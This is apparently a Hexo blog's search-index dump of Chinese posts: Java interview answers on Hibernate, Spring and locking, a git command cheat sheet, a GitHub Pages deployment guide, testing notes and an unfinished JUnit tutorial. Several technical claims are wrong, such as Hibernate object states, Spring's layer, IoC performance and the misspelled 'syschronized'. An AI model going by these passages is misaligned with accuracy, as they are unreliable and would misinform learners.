id="十一、谈谈Hibernate的理解，一级和二级缓存的作用，在项目中Hibernate都是怎么使用缓存的？"><a href="#十一、谈谈Hibernate的理解，一级和二级缓存的作用，在项目中Hibernate都是怎么使用缓存的？" class="headerlink" title="十一、谈谈Hibernate的理解，一级和二级缓存的作用，在项目中Hibernate都是怎么使用缓存的？"></a>十一、谈谈Hibernate的理解，一级和二级缓存的作用，在项目中Hibernate都是怎么使用缓存的？</h2><p>Hibernate是一个开发的对象关系映射框架（ORM）。它对JDBC进行了非常对象封装，Hibernate允许程序员采用面向对象的方式来操作关系数据库。</p><p><strong>Hibernate的优点：</strong></p><ol><li>程序更加面向对象</li><li>提高了生产率</li><li>方便移植</li><li>无入侵性</li></ol><p><strong>Hibernate的缺点：</strong></p><ol><li>效率比JDBC略差</li><li>不适合批量操作</li><li>只能配置一种关联关系</li></ol><p><strong>Hibernate有四种查询方式：</strong></p><ol><li>get、load方法，根据ID号查询对象。</li><li>Hibernate Query Language, HQL</li><li>标准查询语言</li><li>通过SQL查询</li></ol><p><strong>Hibernate工作原理：</strong></p><ol><li>配置Hibernate对象关系映射文件、启动服务器</li><li>服务器通过实例化Configuration对象，读取hibernate.cfg.xml文件的配置内容，并根据相关的需求建好表以及表之间的映射关系。</li><li>通过实例化的Configuration对象建立SessionFactory实例，通过SessionFactory实例创建Session对象。</li><li>通过Session对象完成数据库的增删改查操作。</li></ol><p><strong>Hibernate中的状态转移：</strong></p><p><em>临时状态（Transient）</em></p><ol><li>不处于SESSION缓存中</li><li>数据库中没有对象记录</li></ol><p><strong>补充说明-Java是如何进入临时状态的：</strong>1、通过new语句创建一个对象时。2、刚调用Session的delete()方法时，从Session缓存中删除一个对象时。</p><p><em>持久化状态(Persisted)</em><br>1、处于Session缓存中<br>2、持久化对象数据库中没有对象记录<br>3、Session在特定的时刻会保存两者同步</p><p>补<strong>充说明-Java如何进入持久化状态</strong>：1、Session的save()方法。2、Session的load().get()方法返回的对象。3、Session的find()方法返回的list集合中存放的对象。4、Session的update().save()方法。</p><p><em>流离状态（Detached）</em><br>1、不再位于Session缓存中<br>2、游离对象由持久化状态转变而来，数据库中还没有相应记录。</p><p><strong>补充说明-Java如何进入流离状态：</strong></p><p>1、Session的close()。2、 Session的evict()方法，从缓存中删除一个对象。</p><p>具体如下图所示：<br><img src="https://i.imgur.com/StmlgBX.png" alt=""></p><p>Hibernate中的缓存主要有Session缓存（一级缓存）和SessionFactory缓存（二级缓存，一般由第三方提供）。</p><h2 id="十二、谈谈Hibernate与iBatis的区别，哪个性能会更高一些"><a href="#十二、谈谈Hibernate与iBatis的区别，哪个性能会更高一些" class="headerlink" title="十二、谈谈Hibernate与iBatis的区别，哪个性能会更高一些"></a>十二、谈谈Hibernate与iBatis的区别，哪个性能会更高一些</h2><ol><li>Hibernate偏向于对象的操作达到数据库相关操作的目的；而iBatis更偏向于SQL语句的优化。</li><li>Hibernate的使用的查询语句是自己的HQL，而iBatis则是标准的SQL语句。</li><li>Hibernate相对复杂，不易学习；iBatis类似SQL语句，简单易学。</li></ol><p><strong>性能方面：</strong></p><ol><li>如果系统数据处理量巨大，性能要求极为苛刻时，往往需要人工编写高性能的SQL语句或存错过程，此时iBatis具有更好的可控性，因此性能优于Hibernate。</li><li>同样的需求下，由于Hibernate可以自动生成HQL语句，而iBatis需要手动写SQL语句，此时采用Hibernate的效率高于iBatis。</li></ol><h2 id="十三、对Spring的理解，项目中都用什么？怎么用的？对IOC、和AOP的理解及实现原理。"><a href="#十三、对Spring的理解，项目中都用什么？怎么用的？对IOC、和AOP的理解及实现原理。" class="headerlink" title="十三、对Spring的理解，项目中都用什么？怎么用的？对IOC、和AOP的理解及实现原理。"></a>十三、对Spring的理解，项目中都用什么？怎么用的？对IOC、和AOP的理解及实现原理。</h2><p>Spring是一个开源框架，处于MVC模式中的控制层，它能应对需求快速的变化，其主要原因它有一种面向切面编程（AOP）的优势，其次它提升了系统性能，因为通过依赖倒置机制（IOC），系统中用到的对象不是在系统加载时就全部实例化，而是在调用到这个类时才会实例化该类的对象，从而提升了系统性能。这两个优秀的性能使得Spring受到许多J2EE公司的青睐，如阿里中使用最多的也是Spring相关技术。</p><p><strong>Spring的优点：</strong></p><ol><li>降低了组件之间的耦合性，实现了软件各层之间的解耦。</li><li>可以使用容易提供的众多服务，如事务管理，消息服务，日志记录等。</li><li>容器提供了AOP技术，利用它很容易实现如权限拦截、运行期监控等功能。</li></ol><p>Spring中AOP技术是设计模式中的动态代理模式。只需实现jdk提供的动态代理接口InvocationHandler，所有被代理对象的方法都由InvocationHandler接管实际的处理任务。面向切面编程中还要理解切入点、切面、通知、织入等概念。</p><p>Spring中IOC则利用了Java强大的反射机制来实现。所谓依赖注入即组件之间的依赖关系由容器在运行期决定。其中依赖注入的方法有两种，通过构造函数注入，通过set方法进行注入。</p><h2 id="十四、描述Struts的工作流程"><a href="#十四、描述Struts的工作流程" class="headerlink" title="十四、描述Struts的工作流程"></a>十四、描述Struts的工作流程</h2><ol><li>在web应用启动时，加载并初始化ActionServlet，ActionServlet从struts-config.xml文件中读取配置信息，将它们存放到各个配置对象中。</li><li>当ActionServlet接收到一个客户请求时，首先检索和用户请求相匹配的ActionMapping实例，如果不存在，就返回用户请求路径无效信息。</li><li>如果ActionForm实例不存在，就创建一个ActionForm对象，把客户提交的表单数据保存到ActionForm对象中。</li><li>根据配置信息决定是否需要验证表单，如果需要，就调用ActionForm的validate()方法，如果ActionForm的validate()方法返回null或返回一个不包含ActionMessage的ActionErrors对象，就表示表单验证成功。</li><li>ActionServlet根据ActionMapping实例包含的映射信息决定请求转发给哪个Action，如果相应的Action实例不存在，就先创建一个实例，然后调用Action的execute()方法。</li></ol><p><strong>补充说明</strong>：以上部分的相关问题考察面试者在实际软件开发中所使用的Java语言相关框架以及对于框架原理的了解程度，这一部分我们需要注意一些常见的框架，不仅需要知道它们是干什么的，还需要知道它们背后的原理，常会问到的框架有Spring Boot/Spring Cloud全家桶、Hibernate、MyBaits、Netty、Kafka等，最重要的还有阿里巴巴开源的Apache Dubbo框架。</p><h2 id="十五、关于Java内存模型，一个对象（两个属性，四个方法）实例化100次，现在内存中的存储状态，几个对象，几个属性，几个方法。由于Java中new出来的对象都是放在堆中，所以如果要实例化100次，将在堆中产生100个对象，一般对象与其中的属性、方法都属于一个整体，但如果-属性和方法是静态的，就是用static关键字声明的，那么属于类的属性和方法永远只在内存中存在一份-。"><a href="#十五、关于Java内存模型，一个对象（两个属性，四个方法）实例化100次，现在内存中的存储状态，几个对象，几个属性，几个方法。由于Java中new出来的对象都是放在堆中，所以如果要实例化100次，将在堆中产生100个对象，一般对象与其中的属性、方法都属于一个整体，但如果-属性和方法是静态的，就是用static关键字声明的，那么属于类的属性和方法永远只在内存中存在一份-。" class="headerlink" title="十五、关于Java内存模型，一个对象（两个属性，四个方法）实例化100次，现在内存中的存储状态，几个对象，几个属性，几个方法。由于Java中new出来的对象都是放在堆中，所以如果要实例化100次，将在堆中产生100个对象，一般对象与其中的属性、方法都属于一个整体，但如果 属性和方法是静态的，就是用static关键字声明的，那么属于类的属性和方法永远只在内存中存在一份 ##。"></a>十五、关于Java内存模型，一个对象（两个属性，四个方法）实例化100次，现在内存中的存储状态，几个对象，几个属性，几个方法。由于Java中new出来的对象都是放在堆中，所以如果要实例化100次，将在堆中产生100个对象，一般对象与其中的属性、方法都属于一个整体，但如果 属性和方法是静态的，就是用static关键字声明的，那么属于类的属性和方法永远只在内存中存在一份 ##。</h2><h2 id="十六、反射讲一讲，主要是概念-都在哪需要反射机制，反射的性能，如何优化？"><a href="#十六、反射讲一讲，主要是概念-都在哪需要反射机制，反射的性能，如何优化？" class="headerlink" title="十六、反射讲一讲，主要是概念,都在哪需要反射机制，反射的性能，如何优化？"></a>十六、反射讲一讲，主要是概念,都在哪需要反射机制，反射的性能，如何优化？</h2><p><strong>反射机制的定义：</strong></p><p>是在运行状态中，对于任意的一个类，都能够知道这个类的所有属性和方法，对任意一个对象都能够通过反射机制调用一个类的任意方法，这种动态获取类信息及动态调用类对象方法的功能称为java的反射机制。</p><p><strong>反射的作用：</strong></p><ol><li>动态地创建类的实例，将类绑定到现有的对象中，或从现有的对象中获取类型。</li><li>应用程序需要在运行时从某个特定的程序集中载入一个特定的类。</li></ol><h2 id="十七、线程同步，并发操作怎么控制？"><a href="#十七、线程同步，并发操作怎么控制？" class="headerlink" title="十七、线程同步，并发操作怎么控制？"></a>十七、线程同步，并发操作怎么控制？</h2><p>Java中可在方法名前加关键字syschronized来处理当有多个线程同时访问共享资源时候的问题。syschronized相当于一把锁，当有申请者申请该资源时，如果该资源没有被占用，那么将资源交付给这个申请者使用，在此期间，其他申请者只能申请而不能使用该资源，当该资源被使用完成后将释放该资源上的锁，其他申请者可申请使用。并发控制主要是为了多线程操作时带来的资源读写问题。如果不加以空间可能会出现死锁，读脏数据、不可重复读、丢失更新等异常。</p><p><strong>并发操作可以通过加锁的方式进行控制，锁又可分为乐观锁和悲观锁。</strong></p><p><strong>悲观锁：</strong></p><p>悲观锁并发模式假定系统中存在足够多的数据修改操作，以致于任何确定的读操作都可能会受到由个别的用户所制造的数据修改的影响。也就是说悲观锁假定冲突总会发生，通过独占正在被读取的数据来避免冲突。但是独占数据会导致其他进程无法修改该数据，进而产生阻塞，读数据和写数据会相互阻塞。</p><p><strong>乐观锁：</strong></p><p>乐观锁假定系统的数据修改只会产生非常少的冲突，也就是说任何进程都不大可能修改别的进程正在访问的数据。乐观并发模式下，读数据和写数据之间不会发生冲突，只有写数据与写数据之间会发生冲突。即读数据不会产生阻塞，只有写数据才会产生阻塞。</p><p><strong>补充说明</strong>：最后的几个问题又回到了Java内存模型以及进程、线程的底层知识上，其实无论是对于Java网络编程也好，还是对于Java框架的使用也好，这都离不开Java语言底层的技术支撑，因此了解底层知识是做好优化的重中之重。</p>]]></content>
      
      
      <categories>
          
          <category> JAVA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 面试 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>如何把更新后的项目重新传到github上</title>
      <link href="/2018/04/23/ru-he-ba-geng-xin-hou-de-xiang-mu-chong-xin-chuan-dao-github-shang/"/>
      <url>/2018/04/23/ru-he-ba-geng-xin-hou-de-xiang-mu-chong-xin-chuan-dao-github-shang/</url>
      
        <content type="html"><![CDATA[<h2 id="以后更新项目基本上就是使用下面这几条命令就行："><a href="#以后更新项目基本上就是使用下面这几条命令就行：" class="headerlink" title="以后更新项目基本上就是使用下面这几条命令就行："></a>以后更新项目基本上就是使用下面这几条命令就行：</h2><p>自己主要是更新github上的项目所以刚开始上传请看下面转自某位大神的博客，但是如果是更新github上面的项目就比较简单。</p><ol><li><p>在本地的git仓库把你更新好的项目拷到下面然后打开命令行<img src="https://img-blog.csdn.net/20180528205558250" alt=""></p></li><li><p>使用下面命令就行</p><ul><li>git status</li><li>git add . </li><li>git commit -m “本次更新的说明”</li><li>git push origin master # 将本地主分支推到远程主分支<br><img src="https://img-blog.csdn.net/20180528224516824" alt=""></li></ul><h2 id="Git命令"><a href="#Git命令" class="headerlink" title="Git命令"></a>Git命令</h2><p>查看、添加、提交、删除、找回，重置修改文件</p><p>git help <command> # 显示command的help</p><p>git show # 显示某次提交的内容 git show $id</p><p>git co -<file> # 抛弃工作区修改</p><p>git co . # 抛弃工作区修改</p><p>git add <file> # 将工作文件修改提交到本地暂存区</p><p>git add . # 将所有修改过的工作文件提交暂存区</p><p>git rm <file> # 从版本库中删除文件</p><p>git rm <file> –cached # 从版本库中删除文件，但不删除文件</p><p>git reset <file> # 从暂存区恢复到工作文件</p><p>git reset -. # 从暂存区恢复到工作文件</p><p>git reset –hard # 恢复最近一次提交过的状态，即放弃上次提交后的所有本次修改</p><p>git ci <file> git ci . git ci -a # 将git add, git rm和git ci等操作都合并在一起做git ci -am “some comments”</p><p>git ci –amend # 修改最后一次提交记录</p><p>git revert &lt;$id&gt; # 恢复某次提交的状态，恢复动作本身也创建次提交对象</p><p>git revert HEAD # 恢复最后一次提交的状态</p></li></ol><h2 id="查看文件diff"><a href="#查看文件diff" class="headerlink" title="查看文件diff"></a>查看文件diff</h2><pre><code>-     git diff &lt;file&gt; # 比较当前文件和暂存区文件差异 git diff-      -     git diff &lt;id1&gt;&lt;id2&gt; # 比较两次提交之间的差异-      -     git diff &lt;branch1&gt;..&lt;branch2&gt; # 在两个分支之间比较-      -     git diff --staged # 比较暂存区和版本库差异-      -     git diff --cached # 比较暂存区和版本库差异-      -     git diff --stat # 仅仅比较统计信息</code></pre><h2 id="查看提交记录"><a href="#查看提交记录" class="headerlink" title="查看提交记录"></a>查看提交记录</h2><pre><code>-     git log git log &lt;file&gt; # 查看该文件每次提交记录-      -     git log -p &lt;file&gt; # 查看每次详细修改内容的diff-      -     git log -p -2 # 查看最近两次详细修改内容的diff-      -     git log --stat #查看提交统计信息</code></pre><p>tig</p><p><strong>Mac上可以使用tig代替diff和log，brew install tig</strong></p><h2 id="Git-本地分支管理"><a href="#Git-本地分支管理" class="headerlink" title="Git 本地分支管理"></a>Git 本地分支管理</h2><p>查看、切换、创建和删除分支</p><pre><code>-     git br -r # 查看远程分支-      -     git br &lt;new_branch&gt; # 创建新的分支-      -     git br -v # 查看各个分支最后提交信息-      -     git br --merged # 查看已经被合并到当前分支的分支-      -     git br --no-merged # 查看尚未被合并到当前分支的分支-      -     git co &lt;branch&gt; # 切换到某个分支-      -     git co -b &lt;new_branch&gt; # 创建新的分支，并且切换过去-      -     git co -b &lt;new_branch&gt; &lt;branch&gt; # 基于branch创建新的new_branch-      -     git co $id # 把某次历史提交记录checkout出来，但无分支信息，切换到其他分支会自动删除-      -     git co $id -b &lt;new_branch&gt; # 把某次历史提交记录checkout出来，创建成一个分支-      -     git br -d &lt;branch&gt; # 删除某个分支-      -     git br -D &lt;branch&gt; # 强制删除某个分支 (未被合并的分支被删除的时候需要强制)</code></pre><h2 id="分支合并和rebase"><a href="#分支合并和rebase" class="headerlink" title="分支合并和rebase"></a>分支合并和rebase</h2><pre><code>git merge &lt;branch&gt; # 将branch分支合并到当前分支git merge origin/master --no-ff # 不要Fast-Foward合并，这样可以生成merge提交git rebase master &lt;branch&gt; # 将master rebase到branch，相当于： git co &lt;branch&gt; &amp;&amp; git</code></pre><h2 id="Git补丁管理"><a href="#Git补丁管理" class="headerlink" title="Git补丁管理"></a>Git补丁管理</h2><p>(方便在多台机器上开发同步时用)<br>    git diff &gt; ../sync.patch # 生成补丁</p><pre><code>git apply ../sync.patch # 打补丁git apply --check ../sync.patch #测试补丁能否成功</code></pre><h2 id="Git暂存管理"><a href="#Git暂存管理" class="headerlink" title="Git暂存管理"></a>Git暂存管理</h2><pre><code>git stash # 暂存git stash list # 列所有stashgit stash apply # 恢复暂存的内容git stash drop # 删除暂存区Git远程分支管理git pull # 抓取远程仓库所有分支更新并合并到本地git pull --no-ff # 抓取远程仓库所有分支更新并合并到本地，不要快进合并git fetch origin # 抓取远程仓库更新git merge origin/master # 将远程主分支合并到本地当前分支git co --track origin/branch # 跟踪某个远程分支创建相应的本地分支git co -b &lt;local_branch&gt; origin/&lt;remote_branch&gt; # 基于远程分支创建本地分支，功能同上</code></pre><h2 id="git-push-push所有分支"><a href="#git-push-push所有分支" class="headerlink" title="git push (push所有分支)"></a>git push (push所有分支)</h2><pre><code>git push origin master # 将本地主分支推到远程主分支git push -u origin master # 将本地主分支推到远程(如无远程主分支则创建，用于初始化远程仓库)git push origin &lt;local_branch&gt; # 创建远程分支， origin是远程仓库名git push origin &lt;local_branch&gt;:&lt;remote_branch&gt; # 创建远程分支git push origin :&lt;remote_branch&gt; #先删除本地分支(git br -d &lt;branch&gt;)，然后再push删除远程分支</code></pre><h2 id="Git远程仓库管理"><a href="#Git远程仓库管理" class="headerlink" title="Git远程仓库管理"></a>Git远程仓库管理</h2><pre><code>git remote -v # 查看远程服务器地址和仓库名称git remote show origin # 查看远程服务器仓库状态git remote add origin git@ github:robbin/robbin_site.git # 添加远程仓库地址git remote set-url origin git@ github.com:robbin/robbin_site.git # 设置远程仓库地址</code></pre><h2 id="创建远程仓库"><a href="#创建远程仓库" class="headerlink" title="创建远程仓库"></a>创建远程仓库</h2><pre><code>git clone --bare robbin_site robbin_site.git # 用带版本的项目创建纯版本仓库scp -r my_project.git git@ git.csdn.net:~ # 将纯仓库上传到服务器上mkdir robbin_site.git &amp;&amp; cd robbin_site.git &amp;&amp; git --bare init # 在服务器创建纯仓库git remote add origin git@ github.com:robbin/robbin_site.git # 设置远程仓库地址git push -u origin master # 客户端首次提交git push -u origin develop # 首次将本地develop分支提交到远程develop分支，并且trackgit remote set-head origin master # 设置远程仓库的HEAD指向master分支</code></pre><p><strong>也可以命令设置跟踪远程库和本地库</strong></p><pre><code>git branch --set-upstream master origin/mastergit branch --set-upstream develop origin/develop</code></pre>]]></content>
      
      
      <categories>
          
          <category> Github </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Github </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>使用github部署网站</title>
      <link href="/2018/04/23/shi-yong-github-bu-shu-wang-zhan/"/>
      <url>/2018/04/23/shi-yong-github-bu-shu-wang-zhan/</url>
      
        <content type="html"><![CDATA[<h1 id="使用GitHub部署网站"><a href="#使用GitHub部署网站" class="headerlink" title="使用GitHub部署网站"></a>使用GitHub部署网站</h1><p><strong>在部署网站之前，先要有一个GitHub账号，熟悉一些git命令，注册GitHub账号和使用git命令可以参考下面的博客，在博客中介绍的非常详细，我也不做过多的介绍</strong></p><hr/>从0开始学习GitHub系列汇总：[http://pan.baidu.com/s/1hsn57YO](http://pan.baidu.com/s/1hsn57YO)<p>注册好GitHub账号并且完善用户信息后可以得到一个下图所示的界面，下图是我的GitHub界面，其中界面中的信息介绍可以参考，<code>从0开始学习 GITHUB 系列之「加入 GITHUB」</code>这篇博客对GitHub界面的信息介绍的非常详细</p><p><img src="https://i.imgur.com/rnbszof.png" alt=""></p><p>在GitHub上部署网站：</p><p><strong>第一步</strong>：单击Repositories，其中Repositories在GitHub上表示的是仓库，在GitHub上每个项目都存放在仓库里，一个仓库保存一个项目<br><img src="https://i.imgur.com/pPjslYS.jpg" alt=""></p><p><strong>第二步</strong>：单击根据图中的提示填写信息，信息填写完成后单击Create respository按钮创建仓库<br><img src="https://i.imgur.com/zjbd2WZ.jpg" alt=""></p><p><strong>第三步</strong>：单击创建好仓库后会自动跳转到下图所示的界面，在界面中单击Settings<br><img src="https://i.imgur.com/KdK0YwY.jpg" alt=""></p><p><strong>第四步</strong>：提示在下面的操作中需要电脑中安装了git，并且熟悉几个简单的git命令，关于git的安装以及git命令的使用可以参考<code>从0开始学习 GITHUB 系列之「GIT 速成」</code>，这篇博客将git介绍的非常通俗易懂，安装好git后，先在电脑中创建一个文件夹用于保存从Github中克隆下来的仓库，我建的文件夹叫做demo，在d:\Git路径下，打开命令行进入demo文件夹下<br><img src="https://i.imgur.com/T8eLnrI.png" alt=""><br><strong>第五步</strong>在 命令行中执行<code>https://github.com/leblog/test.git</code>命令</p><p>其中<code>git clone</code>表示要克隆一个项目，后面的<code>https://github.com/leblog/test.git</code>表示项目地址，该地址是由第十二步操作获得的，当在最后一行出现了100%表示，远程仓库已经成功的克隆到了本地<br><img src="https://i.imgur.com/OIRdznD.png" alt=""><br><strong>第六步</strong>：打开demo文件夹，可以看到在文件夹中多了一个test文件，该文件正是刚刚在GitHub中创建的仓库</p><p><img src="https://i.imgur.com/UnaGLvt.png" alt=""><br><strong>第七步</strong>：打开文件，并且将需要上传到GitHub上的网站添加到该文件中<br><img src="https://i.imgur.com/6nWYnck.png" alt=""><br><strong>第八步</strong>：打开命令行，并且进入test文件夹下，并且执行 <code>git add .</code>命令，此命令表示将需要提交到git中的文件先添加到缓存<br><img src="https://i.imgur.com/N5bRudR.png" alt=""><br><strong>第九步</strong>：执行 <code>git commit -m &quot;first commit .&quot;</code>，此命令表示将文件提交到git中，下面显示的都是提交到git中的文件</p><p><img src="https://i.imgur.com/dopR8lM.png" alt=""><br><strong>第十步</strong>：执行<code>git push origin master</code>命令，将文件<code>push</code>到GitHub上的master分支上，当出现下图所示的提示信息时，表示网站已经成功的提交到了GitHub上<br><img src="https://i.imgur.com/yM8aV3c.png" alt=""><br><strong>第十一步</strong>：回到Github上的test仓库，可以看到文件已经全部提交上来了</p><hr/>通过观察网址可知，网址的格式为 https:// + GitHub的用户名 + .github.io/ + 仓库的名称<p><img src="https://i.imgur.com/xhbPnpJ.png" alt=""></p>]]></content>
      
      
      <categories>
          
          <category> Github </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Github </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>测试知识浅谈</title>
      <link href="/2018/04/12/ce-shi-zhi-shi-qian-tan/"/>
      <url>/2018/04/12/ce-shi-zhi-shi-qian-tan/</url>
      
        <content type="html"><![CDATA[<h1 id="TDD测试"><a href="#TDD测试" class="headerlink" title="TDD测试"></a>TDD测试</h1><ul><li>TDD测试驱动编程，编程方法，编程思想</li><li>先写测试，再编写业务代码</li><li>源码里编码，CRUD<blockquote><p>   crud是指在做计算处理时的增加(Create)、读取(Read)、更新(Update)和删除(Delete)几个单词的首字母简写。crud主要被用在描述软件系统中数据库或者持久层的基本操作功能。</p></blockquote></li></ul><pre><code>User    Save    del    edit    selectUserservice</code></pre><h1 id="DDD-领域驱动设计"><a href="#DDD-领域驱动设计" class="headerlink" title="DDD  领域驱动设计"></a>DDD  领域驱动设计</h1><p>测试本身也是一套完整的学科</p><hr/><ul><li><p>单元测试</p><ul><li>白盒测试 能看到完整代码的</li><li>黑盒测试 没有源码功能测试</li><li>灰盒测试  </li></ul></li><li><p>压力测试</p><ul><li>并发数的问题，能够承载多少的并发</li></ul></li><li><p>疲劳强度测试</p><ul><li>长期稳定运行，超过72小时，</li></ul></li><li><p>冒烟测试</p><ul><li>对主要流程的测试，支付环节</li><li>对一个功能点疯狂的测试</li></ul></li><li><p>集成测试</p><ul><li>完整功能的测试，最重要的是测试整体业务流程</li></ul></li><li><p>回归测试</p><ul><li>增加一个功能</li></ul></li><li><p>自动化测试</p><ul><li>编码,场景设计</li></ul></li><li><p>review</p><ul><li>代码评审</li><li>电商 B2B2C   eg:如果你是天猫的程序员，去京东去工作，试想一下，如果你在京东其程序中添加后门，双十一让网站停止5分钟，后果不堪设想</li></ul></li></ul>]]></content>
      
      
      <categories>
          
          <category> JAVA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JUint </tag>
            
            <tag> 软件测试 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>JUint单元测试</title>
      <link href="/2018/04/12/juint-dan-yuan-ce-shi/"/>
      <url>/2018/04/12/juint-dan-yuan-ce-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>JUnit 是用于编写和运行可重复的自动化测试的开源测试框架，这样可以保证我们的代码按预期工作。</p><p>JUnit 可广泛用于工业和作为支架(从命令行)或IDE(如 IDEA)内单独的 Java 程序。</p><p>JUnit 提供：</p><ul><li><p>断言测试预期结果。</p></li><li><p>测试功能共享通用的测试数据。</p></li><li><p>测试套件轻松地组织和运行测试。</p></li><li><p>图形和文本测试运行。</p><h3 id="JUnit-用于测试："><a href="#JUnit-用于测试：" class="headerlink" title="JUnit 用于测试："></a>JUnit 用于测试：</h3></li><li><p>整个对象</p></li><li><p>对象的一部分 - 交互的方法或一些方法</p></li><li><p>几个对象之间的互动(交互)</p></li></ul><h3 id="JUnit-特点"><a href="#JUnit-特点" class="headerlink" title="JUnit 特点"></a>JUnit 特点</h3><ul><li>JUnit 是用于编写和运行测试的开源框架。</li><li>提供了注释，以确定测试方法。</li><li>提供断言测试预期结果。</li><li>提供了测试运行的运行测试。</li><li>JUnit 测试让您可以更快地编写代码，提高质量</li><li>JUnit 是优雅简洁。它是不那么复杂以及不需要花费太多的时间。</li><li>JUnit 测试可以自动运行，检查自己的结果，并提供即时反馈。没有必要通过测试结果报告来手动梳理。</li><li>JUnit 测试可以组织成测试套件包含测试案例，甚至其他测试套件。</li><li>Junit 显示测试进度的，如果测试是没有问题条形是绿色的，测试失败则会变成红色。</li></ul><h1 id="POM"><a href="#POM" class="headerlink" title="POM"></a>POM</h1><p><code>pom.xml</code>文件如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line">&lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot;</span><br><span class="line">         xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span><br><span class="line">         xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&quot;&gt;</span><br><span class="line">    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;</span><br><span class="line"></span><br><span class="line">    &lt;groupId&gt;com.funtl&lt;/groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;hello-spring&lt;/artifactId&gt;</span><br><span class="line">    &lt;version&gt;1.0.0-SNAPSHOT&lt;/version&gt;</span><br><span class="line">    &lt;packaging&gt;jar&lt;/packaging&gt;</span><br><span class="line"></span><br><span class="line">    &lt;dependencies&gt;</span><br><span class="line">        &lt;dependency&gt;</span><br><span class="line">            &lt;groupId&gt;org.springframework&lt;/groupId&gt;</span><br><span class="line">            &lt;artifactId&gt;spring-context&lt;/artifactId&gt;</span><br><span class="line">            &lt;version&gt;4.3.17.RELEASE&lt;/version&gt;</span><br><span class="line">        &lt;/dependency&gt;</span><br><span class="line">        &lt;dependency&gt;</span><br><span class="line">            &lt;groupId&gt;junit&lt;/groupId&gt;</span><br><span class="line">            &lt;artifactId&gt;junit&lt;/artifactId&gt;</span><br><span class="line">            &lt;version&gt;4.12&lt;/version&gt;</span><br><span class="line">            &lt;scope&gt;test&lt;/scope&gt;</span><br><span class="line">        &lt;/dependency&gt;</span><br><span class="line">    &lt;/dependencies&gt;</span><br><span class="line">&lt;/project&gt;</span><br></pre></td></tr></table></figure><p>主要增加了 junit:junit 依赖</p><h3 id="创建测试类"><a href="#创建测试类" class="headerlink" title="创建测试类"></a>创建测试类</h3><p>在测试包下 <code>src/main/test</code> 创建一个名为 <code>MyTest</code> 的测试类，代码如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">package com.funtl.hello.spring.test;</span><br><span class="line"></span><br><span class="line">import org.junit.After;</span><br><span class="line">import org.junit.Before;</span><br><span class="line">import org.junit.Test;</span><br><span class="line"></span><br><span class="line">public class MyTest &#123;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 执行测试方法前执行</span><br><span class="line">     */</span><br><span class="line">    @Before</span><br><span class="line">    public void before() &#123;</span><br><span class="line">        System.out.println(&quot;执行 before() 方法&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 执行测试方法后执行</span><br><span class="line">     */</span><br><span class="line">    @After</span><br><span class="line">    public void after() &#123;</span><br><span class="line">        System.out.println(&quot;执行 after() 方法&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Test</span><br><span class="line">    public void testSayHi() &#123;</span><br><span class="line">        System.out.println(&quot;Hi Log4j&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @Test</span><br><span class="line">    public void testSayHello() &#123;</span><br><span class="line">        System.out.println(&quot;Hello Log4j&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="JUnit-注解"><a href="#JUnit-注解" class="headerlink" title="JUnit 注解"></a>JUnit 注解</h1><table><thead><tr><th>注解</th><th>描述</th></tr></thead><tbody><tr><td><code>@Test</code> <br> public void method()</td><td>测试注释指示该公共无效方法它所附着可以作为一个测试用例。</td></tr><tr><td><code>@Before</code> <br> public void method()</td><td>Before 注释表示，该方法必须在类中的每个测试之前执行，以便执行测试某些必要的先决条件。</td></tr><tr><td><code>@BeforeClass</code><br> public static void method()</td><td>BeforeClass 注释指出这是附着在静态方法必须执行一次并在类的所有测试之前。发生这种情况时一般是测试计算共享配置方法(如连接到数据库)。</td></tr><tr><td><code>@After</code> <br> public void method()</td><td>After 注释指示，该方法在执行每项测试后执行(如执行每一个测试后重置某些变量，删除临时变量等)</td></tr><tr><td></td><td></td></tr><tr><td><code>@AfterClass</code><br> public static void method()</td><td>当需要执行所有的测试在 JUnit 测试用例类后执行，AfterClass 注解可以使用以清理建立方法，(从数据库如断开连接)。注意：附有此批注(类似于 BeforeClass)的方法必须定义为静态</td></tr><tr><td></td><td></td></tr><tr><td><code>@Ignore</code>  <br>public static void method()</td><td>当想暂时禁用特定的测试执行可以使用忽略注释。每个被注解为 @Ignore 的方法将不被执行。</td></tr><tr><td></td><td></td></tr></tbody></table><h1 id="JUnit-断言"><a href="#JUnit-断言" class="headerlink" title="JUnit 断言"></a>JUnit 断言</h1><h3 id="什么是断言"><a href="#什么是断言" class="headerlink" title="什么是断言"></a>什么是断言</h3><blockquote><p>  断言是编程术语，表示为一些布尔表达式，程序员相信在程序中的某个特定点该表达式值为真，可以在任何时候启用和禁用断言验证，因此可以在测试时启用断言而在部署时禁用断言。同样，程序投入运行后，最终用户在遇到问题时可以重新启用断言。</p></blockquote><p>使用断言可以创建更稳定、品质更好且 不易于出错的代码。当需要在一个值为 false 